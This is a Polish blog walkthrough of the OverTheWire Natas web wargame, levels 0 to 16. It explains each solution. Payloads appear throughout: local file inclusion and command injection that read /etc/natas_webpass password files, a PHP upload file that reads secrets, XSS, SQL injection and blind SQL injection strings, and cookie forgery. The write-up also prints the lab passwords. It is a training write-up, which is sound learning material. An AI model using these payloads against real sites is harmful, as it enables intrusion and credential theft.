Paź
31

OvertheWire Natas Wargame – write-ups

Kilka dni temu, OvertheWire dorzucił do swojej kolekcji nowe wargame. Tym razem webowe. Po kilku godzinnej zabawie, zamieszczam rozwiązania wszystkich 16 poziomów, z którymi się uporałem.
Uwaga. Poniższy wpis zawiera rozwiązania wszystkich zadań. Jeśli nie chcesz psuć sobie zabawy, nie klikaj w link „Czytaj dalej”.

natas0

Ctrl+U powinien być ulubionym skrótem klawiaturowym każdego. Drugim – Ctrl+F, który w wyświetlonym źródle strony wyszuka przydatnych dla nas informacji. Jakich? Chociażby komentarzy, które mogą zawierać hasło:

<!--The password for natas1 is 9hSaVoey44Puz0fbWlHtZh5jTooLVplC -->

natas1

Kolejne zadanie jest wręcz identyczne. Jedynym utrudnieniem jest linijka JavaScriptu, która blokuje użycie myszy:

javascript:alert('right clicking has been blocked!');return false;

Chociaż w poprzednim rozwiązaniu nie wykorzystywaliśmy myszki, zróbmy to zadanie bardziej „oldskulowo”:

curl --user natas1:9hSaVoey44Puz0fbWlHtZh5jTooLVplC http://natas1.natas.labs.overthewire.org/

Otrzymujemy hasło:

<!--The password for natas2 is aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl -->

natas2

Tym razem znowu skorzystamy z magicznego skrótu klawiaturowego Ctrl+U, no chyba, że ktoś ma na tyle dobry wzrok, żeby zauważyć malutki, jednopikselowy obrazek, wyświetlany na stronie. Źródło poda nam do niego pełną ścieżkę: files/pixel.png. Sprawdźmy, czy administator strony nie zapomniał wyłączyć listowania plików w samym folderze files. Okazuje się, że jednak zapomniał, a my dzięki temu możemy znaleźć tam pliczek users.txt, który da nam hasło do kolejnego levelu:

# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb
eve:zo4mJWyNj2
mallory:9urtcpzBmH

natas3

Źródło strony podpowiada nam, że plik, którego szukamy nie jest dostępny nawet dla Google. Pomyślmy więc, w jaki sposób można zabronić wyszukiwarkom internetowym dostępu do określonych danych? Najprostszy sposób to umieszczenie odnośników do tych danych w pliku robots.txt.
Na serwerze znajduje się taki plik, wskazuje on lokalizację /s3cr3t/. Jeśli ją odwiedzimy, przekonamy się, że znajduje się tam tylko jeden „ukryty” przed Google plik: users.txt, zawierający hasło:

natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz

natas4

Nareszcie coś, co wymaga od nas trochę więcej wysiłku niż podgląd źródła strony :). Musimy zmienić pole Referer, jaki wysyła nasza przeglądarka, odwiedzając 4 level. Możemy to zrobić za pomocą curla:

curl --user natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz http://natas4.natas.labs.overthewire.org/index.php --referer "http://natas5.natas.labs.overthewire.org/"

lub za pomocą dodatków do naszej przeglądarki, jak chociażby Live HTTP Headers (którą swoją drogą, bardzo polecam).

Access granted. The password for natas5 is V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z

Czas na kolejny poziom.

natas5

Skorzystajmy z dodatku, o którym pisałem kilka linijek wyżej. Podejrzyjmy ruch HTTP, przy odwiedzaniu levelu 5. Wysyłane jest ciasteczko Cookie: loggedin=0. Nazwa dość mocno sugeruje, że jest ono związane z logowaniem :). W związku z tym, że większość języków programowania cyfrę 0 traktuje jako logiczny fałsz (false), spróbujmy nadać ciasteczku niezerową wartość. Zmieńmy ją na 1, kliknijmy button Replay (o ile posługujemy się zaproponowanym przeze mnie dodatkiem), no i przejdźmy do kolejnego zadania:

Access granted. The password for natas6 is mfPYpp1UBKKsx7g4F0LaRjhKKenYAOqU

natas6

Zerknijmy na kod, który mamy w tym zadaniu:

<?
 
include "includes/secret.inc";
 
    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

Wygląda na to, że potrzebujemy dowiedzieć się, co znajduje się w zmiennej $secret. Tylko, skąd ona bierze się w kodzie? Gdzie następuje przypisanie jej jakiejś wartości? Zapewne w pliku, który jest dołączany za pomocą include. Wystarczy więc odwiedzić /includes/secret.inc, żeby dostać hasło:

<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

Wpisujemy je do pola Input secret, a w nagrodę dostajemy poniższy komunikat:

Access granted. The password for natas7 is XLoIufz83MjpTrtPvP9iAtgF48EWjicU

natas7

Uwaga, ten poziom jest bardzo istotny. W źródle strony odnajdujemy wiadomość:

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

Okazuje się, że od tej pory, hasła do kolejnych poziomów również będą znajdowały się w /etc/natas_webpass.
OK, wracajmy do zadania. Pojawiły się jakiś linki. Poklikajmy w nie trochę :). Każdy link zmienia ustawia wartość GET o nazwie page. Widać to w pasku adresu: index.php?page=home.
Spróbujmy ustawić ją na coś nietypowego, np.: index.php?page=bazinga. Otrzymujemy następujący komunikat, który pochodzi bezpośrednio od interpretera PHP:

Warning: include(bazinga): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 13 Warning: include(): Failed opening 'bazinga' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 13

Ciekawe co znajduje się w 13 linijce :). Obstawmy, że wygląda ona tak:

include($_GET['page']);

Trafiliśmy na podatność LFI, dzięki niej możemy odczytać zawartość dowolnego pliku na serwerze (o ile mamy do niego uprawnienia). Nas, najbardziej interesuje: index.php?page=/etc/natas_webpass/natas8, które wypluwa hasło do kolejnego poziomu: maabkdexUStb6JJXUqmBx7Re8M61cksn.
Uwaga! Bonus!
A wraz z nim malutki XSS:

/index.php?page=<img src=x onerror=alert(0)>

natas8

No i jesteśmy na półmetku. W zadaniu 8. dostajemy praktycznie gotowe rozwiązanie. Wystarczy tylko, że przeanalizujemy co robi kod i wykonamy te operacje w odwrotnej kolejności.
Weźmy więc nasz tajny ciąg znaków: 3d3d516343746d4d6d6c315669563362 i zamieńmy go na tekst, następnie odwróćmy go i sprawdźmy co kryje się pod Base64. Zrobi to za nas jedna linijka Pythona:

print "3d3d516343746d4d6d6c315669563362".decode("hex")[::-1].decode("base64")

Wpisując otrzymany (oubWYf2kBq) do pola Input secret tekst, dostajemy hasło do kolejnego poziomu:

Access granted. The password for natas9 is sQ6DKR8ICwqDMTd48lQlJfbF1q9B3edT

natas9

Level 9 to piękny (i zarazem bardzo typowy) przykład podatności nazywanej OS Command Injection.

passthru("grep -i $key dictionary.txt");

Zmienna $key nie jest w żaden sposób sprawdzana. Możemy wrzucić do niej cokolwiek i spowodować, że zapytanie, wywoływane przez passthru, będzie wyglądało inaczej. Chcemy, żeby grep szukał dowolnego znaków (a więc w szczególności dowolnego znaku z naszego hasła), ale nie w pliku dictionary.txt, a w pliku /etc/natas_webpass/natas10.
Nic prostszego!

grep -i . /etc/natas_webpass/natas10 # dictionary.txt

Wystarczy więc, że nasz URL będzie wyglądał tak: index.php?needle=. /etc/natas_webpass/natas10 %23&submit=Search.
Co pozwoli nam przeczytać hasło do kolejnego poziomu: s09byvi8880wqhbnonMFMW8byCojm8eA.
Uwaga!
Książkowy przykład OS Command Injection wymaga również książkowego rozwiązania. A jest nim… średnik (który pozwoli nam na wykonanie kolejnej komendy)!
index.php?needle=; cat /etc/natas_webpass/natas10&submit=Search

natas10

Zadanie 10 jest bardzo podobne. Jednak tym razem książkowy przykład nie zadziała.

if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    }

Skrypt nie pozwala na używanie takich znaków jak średnik. Na szczęście, pozwala na skorzystanie z kropki, co czyni nasze rozwiązanie levelu 9 użyteczne również tutaj! Nie idźmy jednak na łatwiznę. Byłoby zbyt nudno stosować to samo rozwiązanie. Spróbujmy trochę utrudnić i nie używajmy również kropki. Czy da się to wtedy rozwiązać? Oczywiście, że tak. Istnieje przecież wiele znaków, które można jeszcze wykorzystać. Najbardziej oczywistym jest znak nowej linii.
index.php?needle=__ index.php%0Acat /etc/natas_webpass/natas11 %23&submit=Search

grep -i __ index.php
cat /etc/natas_webpass/natas11 # dictionary.txt

Grep stara się wyszukać w pliku index.php dwóch podkreślników (a że nie istnieją, jego wynik nie zaśmieci nam ekranu), następnie cat wyświetla zawartość interesującego nas pliku z hasłem: SUIRtXqbB3tWzTOgTAX2t8UfMbYKrgp6.

natas11

Czas na zabawę z kryptografią! Zerknijmy na (w porównaniu do poprzednich leveli) bardzo długi kod, z którego tak naprawdę musimy wyłapać słowo klucz: operacja XOR.
Co musimy o niej wiedzieć? Potrzebna nam bardzo prosta własność matematyczna:

A XOR B = C => A XOR C = B

Dzięki tej własności poznamy nasz klucz! Przeanalizujmy jednak najpierw, co tak naprawdę dzieje się w skrypcie.
Dostajemy tablicę $defaultdata, z ustawionymi domyślnie wartościami. Służy ona do wygenerowania domyślnego ciasteczka. Ciasteczko to, generowane jest za pomocą operacji XOR, z kluczem, którego nie znamy. Korzystając z powyższej własności za chwilkę go poznamy.
Zapiszmy zgromadzone informacje w pseudokodzie:

$defaultdata XOR $key = $_COOKIE => $key = $defaultdata XOR $_COOKIE

Wystarczy więc, że odczytamy nasze domyślne ciasteczko: data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRwh6QUcIaAw%3D i lekko zmodyfikujemy skrypt:

<?php
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
 
function xor_encrypt($in) {
    $key = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D');
    $text = $in;
    $outText = '';
 
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
 
    return $outText;
}
 
var_dump( xor_encrypt(json_encode($defaultdata)) );
?>

Otrzymaliśmy klucz: string ‚qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq’ (length=41)
Teraz wystarczy tylko ustalić długość klucza. Łatwo można zauważyć, powtarzający się ciąg znaków qw8J. Wypróbujmy go jako klucz:

<?php
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
 
function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $outText = '';
 
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
 
    return $outText;
}
 
var_dump( base64_encode(xor_encrypt(json_encode($defaultdata))) );
?>

Zmieńmy cookie na otrzymaną przez nas wartość: string ‚ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK’ (length=56).
Brawo! Udało się:

The password for natas12 is sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu

natas12

Level 12 udostępnia nam prosty upload plików graficznych. Prosty – bo da się go oszukać w banalny sposób. Zerknijmy co dzieje się w kodzie.
Mamy kilka funkcji, które odpowiadają za stworzenie pliku o losowej nazwie. Najpierw wywoływana jest makeRandomPathFromFilename, która przy pomocy pathinfo ustala rozszerzenie uploadowanego pliku. Plik „tworzony” jest w dwóch miejscach. Jego nazwa – losowa, ustalana jest po stronie serwera, natomiast jego rozszerzenie przesyłane jest przez przeglądarkę. Skąd to wiemy? Wystarczy zerknąć na poniższy kod:

<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />

Do losowej nazwy pliku doklejana jest rozszerzenie .jpg. Musimy je w jakiś sposób zmienić.
pathinfo działa w dość łatwowierny sposób. Do PATHINFO_EXTENSION przypisywane jest to, co znajduje się po ostatniej kropce. Tak więc, jeśli pathinfo otrzyma ciąg ‚file.a.b.c’, to jego rozszerzeniem będzie PATHINFO_EXTENSION = ‚c’.
Stwórzmy prosty plik, który wyświetli nam zawartość /etc/natas_webpass/natas13:

<?php
echo file_get_contents('/etc/natas_webpass/natas13');
?>

Podczas wysyłania pliku, zmieńmy jego rozszerzenie za pomocą Live HTTP Headers:

-----------------------------25582699110367\r\n
Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n
\r\n
1000\r\n
-----------------------------25582699110367\r\n
Content-Disposition: form-data; name="filename"\r\n
\r\n
e27o107026.jpg.php\r\n
-----------------------------25582699110367\r\n
Content-Disposition: form-data; name="uploadedfile"; filename="image.php"\r\n
Content-Type: application/octet-stream\r\n
\r\n
<?php\r\n
echo file_get_contents('/etc/natas_webpass/natas13');\r\n
?>\r\n
-----------------------------25582699110367--\r\n

Teraz wystarczy tylko odwiedzić wysłany link (link do niego zostanie wyświetlony na ekranie) i odczytać hasło: IGCXqS4x472aoHZYaidvmeoWj2GmuRYz.
Bonus!
Kolejny XSS. Tym razem w rozszerzeniu pliku:

-----------------------------25582699110367\r\n
Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n
\r\n
1000\r\n
-----------------------------25582699110367\r\n
Content-Disposition: form-data; name="filename"\r\n
\r\n
e27o107026.jpg.ph<img src=x onerror=alert(0)>p\r\n
-----------------------------25582699110367\r\n
Content-Disposition: form-data; name="uploadedfile"; filename="image.php"\r\n
Content-Type: application/octet-stream\r\n
\r\n
<?php\r\n
echo file_get_contents('/etc/natas_webpass/natas13');\r\n
?>\r\n
-----------------------------25582699110367--\r\n

natas13

Znowu upload! Tym razem dodany jest nowy security-check. Exif_imagetype nie pozwoli nam na przesłanie poprzedniego pliku. Dzieje się tak dlatego, że wspomniana funkcja odpowiada za sprawdzenie sygnatury (pierwszych kilku bajtów) pliku. Na tej podstawie ustalane jest, czy wysyłany plik jest plikiem graficznym. Oczywiście nic nie stoi na przeszkodzie, aby plik z poprawną dla obrazków sygnaturką obrazkiem nie był :).
Stwórzmy jakiś mały obrazek (najlepiej niech będzie to biały piksel 1×1). Skrypt levelu 13 nie za bardzo przejmuje się typem obrazka – liczy się dla niego tylko to, żeby był to obrazek. Stwórzmy więc plik typu GIF, z uwagi na jego mały rozmiar (co nie zmienia faktu, że z innymi rozszerzeniami wykonamy zadanie w sposób identyczny). Otwórzmy go w dowolnym edytorze tekstowym i na samym jego końcu doklejmy poniższe linijki kodu (analogicznie jak w poziomie 12):

<?php
echo file_get_contents('/etc/natas_webpass/natas14');
?>

Tym razem skorzystamy z innego narzędzia. O ile w Live HTTP Headers wysyłaliśmy nasz HTTP request powtórnie (tylko, że zmodyfikowany), tak przy pomocy dodatku Tamper Data zmodyfikujemy go jeszcze przed wysłaniem. Odpalmy nasz dodatek, zmodyfikujmy nazwę pliku (dodając .php do jego nazwy) i kliknijmy w otrzymany link do pliku. Naszym oczom ukaże się mnóstwo „śmieci”, które zapewne kojarzycie z momentu, w którym otwieraliśmy plik graficzny za pomocą edytora tekstowego. Otóż, wszystko, co znajduje się poza tagiem PHP, serwer wypluwa w postaci tekstu. Nasz tag umieściliśmy na końcu obrazka i właśnie tam powinniśmy poszukać naszego hasła: sSkCeug1bdrYejzAaBhgwI3qJXDKqlgh.

natas14

Mamy książkowe SQL Injection. Spróbujmy zalogować się na użytkownika natas15 (w końcu to jego hasło chcemy poznać) korzystając ze „standardowych” metod osoby, która dopiero nauczyła się SQL Injection:

" or 1=1/*
" OR 1=1--

Za każdym razem witani jesteśmy nieprzyjemnym komunikatem :). Czyżby jakimś cudem komuś udało się wyłączyć komentarze w SQL? Oczywiście, że nie. Istnieje jeszcze jeden, mniej znany sposób:

" or 1=1#

Warto zaznaczyć, że gdyby kiedykolwiek wszystkie rodzaje komentarzy zostały zablokowane, istnieje bardzo prosty (i logiczny) sposób, żeby się z takim problemem uporać:

" or "1"="1

Oto, jak powinny wyglądać zapytania SQL dla poszczególnych zapytań POST:

username=natas15&password=%22or+1%3D1%23
SELECT * FROM users WHERE username="natas15" AND password=""OR 1=1#"
 
username=natas15&password=%22or+%221%22%3D%221
SELECT * from users where username="natas15" and password=""or "1"="1"

Oba te sposoby wyświetlą nam oczekiwany komunikat:

Successful login! The password for natas15 is m2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV

natas15

Kolejny SQL Injection, ciut trudniejsze, ale również jedno z bardziej książkowych. Nazywane jest ono Blind SQL Injection, dlatego, że tym razem nie dostaniemy gotowego hasła w całości, a będziemy musieli je sobie wyciągnąć z bazy literka po literce. Zerknijmy na dwa przykłady i przeanalizujmy jak zachowuje się aplikacja:

username=natas16" and 1=2#
--This user doesn't exist.
 
username=natas16" AND 1=1#
--This user exists.

Informacja o tym, czy użytkownik istnieje, pozwala nam ustalić, czy druga część zapytania SQL jest prawdziwa, czy też fałszywa. Zapytajmy więc, jak długie jest szukane przez nas hasło:

username=natas16" and length(password)=32#

Informacja This user exists potwierdziła, że jest ono 32-znakowe. Spróbujmy więc zapytać o trochę więcej, np. pierwszą literkę tego hasła:

username=natas16" and substr(password, 1, 1) = BINARY '0'#
#This user doesn't exist.
 
username=natas16" AND substr(password, 1, 1) = BINARY '1'#
#This USER doesn't exist.
 
username=natas16" and substr(password, 1, 1) = BINARY '2'#
#This user doesn't exist.
 
username=natas16" and substr(password, 1, 1) = BINARY '3'#
#This user exists.

Bingo! Mamy ją. Teraz czas przejść do drugiej literki: substr(password, 2, 1).
Idąc tym tropem, możemy w prosty sposób wydobyć nasze 32 znakowe hasło. Oczywiście cały ten proces wypadałoby zautomatyzować (no, chyba, że ktoś ma sporo czasu i ochoty, na wklepywanie 26*2+10 znaków ręcznie 🙂 ). W związku z tym, że skrypt, który automatyzuje taką pracę okaże się bardzo przydatny w przyszłości [czyt. jest to pierwszy ze skryptów, który jeszcze nie raz wykorzystasz], napisanie go pozostawiam jako pracę domową :). Nie będę udostępniał swojego kodu, znacznie więcej frajdy stwarzają narzędzia, które sami stworzyliśmy. Natomiast osoby, które chciałyby usprawnić swój skrypt, zachęcam do zerknięcia na moje przemyślenia, którymi podzieliłem się na security.stackexchange.com.
Hasło do kolejnego poziomu to: 3VfCzgaWjEAcmCQphiEPoXi9HtlmVr3L.

natas16

To już prawie koniec! Przed nami zadanie, które najbardziej mi się spodobało. Wracamy do naszego grepa:

 if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }

Na pierwszy rzut oka powinniśmy wymyślić sposób, w jaki uciec z cudzysłowu, do którego wrzucana jest zawartość zmiennej $key. Po chwili namysłu, należałoby zastanowić się, czy rzeczywiście musimy z niego uciekać. Przestańmy przez chwilę (a tak naprawdę, to na zawsze) się nimi przejmować! Skorzystajmy natomiast z ciekawej konstrukcji, jaką oferuje nam bash: $().

index.php?needle=$(echo game)&submit=Search
grep -i $(echo game) dictionary.txt

Dzięki $() możemy wykonywać dowolną komendę, a jej wynik umieszczać bezpośrednio w grepie. Stąd ?needle=$(echo game) jest równoważne z ?needle=game. Daje nam to możliwość przeprowadzenia ataku Blind System Command Injection!
Idea jest bardzo prosta. Za pomocą cut będziemy podstawiać do zmiennej needle kolejne literki hasła. Grep zwróci z pliku dictionary.txt tylko te wyrazy, które zawierają sprawdzaną literkę. Zacznijmy testowanie od drugiego wyrazu hasła (za chwilkę wyjaśnię dlaczego).

#druga literka:
index.php?needle=$(cut /etc/natas_webpass/natas17 -c2-2)&submit=Search
#Skrypt wypluwa wiele wyrazów, wspólną literką dla tych wyrazów jest H. Jest to 2 litera hasła.
 
#trzecia literka:
index.php?needle=$(cut /etc/natas_webpass/natas17 -c3-3)&submit=Search
#Skrypt wypluwa wiele wyrazów, wspólną literką dla tych wyrazów jest B. Jest to 3 litera hasła.
 
#czwarta literka:
index.php?needle=$(cut /etc/natas_webpass/natas17 -c4-4)&submit=Search
#Skrypt wypluwa wiele wyrazów, wspólną literką dla tych wyrazów jest Z. Jest to 4 litera hasła.

Modyfikując parametr -cN-N uda nam się uzyskać prawie każdą literkę hasła. Dlaczego prawie? Zerknijmy na index.php?needle=$(cut /etc/natas_webpass/natas17 -c1-1). Otrzymujemy pusty wynik. Dlaczego tak się stało? Odpowiedź jest lekko podchwytliwa. Nasze hasło może zawierać cyfry, a w słowniku nie istnieją wyrazy, które takie cyfry mają. Okazuje się więc, że na pierwszej pozycji hasła znajduje się cyfra. Jaka? Ustalimy to później.
Po zautomatyzowaniu naszej zabawy z cut’em (tak, tym razem toolsów też nie udostępnię :P) nasze hasło wygląda w taki sposób: ?HBZT?LJTPAGMAYVNFZ?CHZVQ??OEPSX (gdzie ? oznaczają cyfry).
Pobawmy się teraz w Incepcję!
Musimy ustalić, która z literek jest mała, a która wielka. Poszukajmy najpierw literek, które występują w naszym haśle tylko raz: B[3], L[7], J[8], G[12], M[13], Y[15], N[17], F[18], C[24], Q[28], O[28], E[29], S[31], X[32] (w nawiasie podano ich pozycję).
Parametr -i w „zewnętrznym” grepie nie pozwolił nam ich rozróżnić. Zróbmy więc kolejnego grepa

index.php?needle=$(grep x /etc/natas_webpass/natas17)&submit=Search
grep -i "$(grep x /etc/natas_webpass/natas17)" dictionary.txt

Zauważmy, że jeśli mała literka ‚x’ występuje w haśle, to „wewnętrzny” grep zwróci nam to hasło. Zostanie ono podstawione do „zewnętrznego” grepa, który nie będzie potrafił znaleźć go w dictionary.txt, stąd lista, którą zobaczymy będzie pusta. Natomiast, jeśli „wewnętrzny” grep nie znajdzie małej literki ‚x’ oznaczać to będzie, że w haśle istnieje wielka literka ‚X’. Zwrócony zostanie pusty ciąg znaków, który podstawiony do „zewnętrznego” grepa zwróci całą listę z pliku dictionary.txt. Podstawiając więc kolejne literki, możemy zadecydować, czy są one małe, czy wielkie. Jeszcze jeden przykład:

index.php?needle=$(grep b /etc/natas_webpass/natas17)&submit=Search
grep -i "$(grep b /etc/natas_webpass/natas17)" dictionary.txt
#Zwraca pełną listę, więc literka 'b' nie została znaleziona w haśle
 
index.php?needle=$(grep B /etc/natas_webpass/natas17)&submit=Search
grep -i "$(grep B /etc/natas_webpass/natas17)" dictionary.txt
#Zwraca pustą listę. Literka B została znaleziona w haśle.

Pozostaje pytanie, co z literkami, które występują dwa razy? Zerknijmy np. na ‚T’. Jest ono na pozycji 5. oraz 9.

index.php?needle=$(grep b /etc/natas_webpass/natas17)&submit=Search
grep -i "$(grep t*T /etc/natas_webpass/natas17)" dictionary.txt
#Zwraca pełną listę, więc wiemy, że w haśle 't' nie występuje przed 'T'.
 
index.php?needle=$(grep B /etc/natas_webpass/natas17)&submit=Search
grep -i "$(grep T*t /etc/natas_webpass/natas17)" dictionary.txt
#Zwraca pustą listę. Literka 't' występuje w haśle, zaraz po niej występuje 'T'.

Dzięki takiej analizie, wiemy, że na 5. pozycji hasła znajduje się ‚t’, a na 9. mamy ‚T’.

Mamy już prawie całe hasło: ?HBzt?ljtPAgmaYvNfZ?chZVq??oepsx
Do odgadnięcia pozostały nam już tylko cyferki. Powtórzmy trik z grepem, żeby je sprawdzić:

index.php?needle=$(grep 0 /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 1 /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 2 /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 3 /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 4 /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 5 /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 6 /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 7 /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 8 /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 9 /etc/natas_webpass/natas17)&submit=Search

Wiemy już, że w haśle występują takie cyferki: {0,5,8,9}. Znając wiele elementów hasła, jesteśmy w stanie przeprowadzić prosty brute-force, dla tych czterech elementów:

index.php?needle=$(grep 0HBzt /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 5HBzt /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 8HBzt /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 9HBzt /etc/natas_webpass/natas17)&submit=Search # OK
index.php?needle=$(grep 0ljtPAgmaYvNfZ /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 5ljtPAgmaYvNfZ /etc/natas_webpass/natas17)&submit=Search # OK
index.php?needle=$(grep 0chZVq /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 5chZVq /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 8chZVq /etc/natas_webpass/natas17)&submit=Search # OK
index.php?needle=$(grep 8chZVq0 /etc/natas_webpass/natas17)&submit=Search
index.php?needle=$(grep 8chZVq5 /etc/natas_webpass/natas17)&submit=Search # OK
index.php?needle=$(grep 8chZVq50 /etc/natas_webpass/natas17)&submit=Search #OK

Mamy już całe hasło: 9HBzt5ljtPAgmaYvNfZ8chZVq50oepsx. Czas zobaczyć co kryje się dalej!

natas17

At the moment, this level doesn't exist yet. If you have a great idea for a new level, let us know!

To niestety już koniec! Przebrnęliśmy przez całe wargame. Za nami 16 leveli webappowej zabawy.

  

Dodaj komentarz

*

Audio-CAPTCHA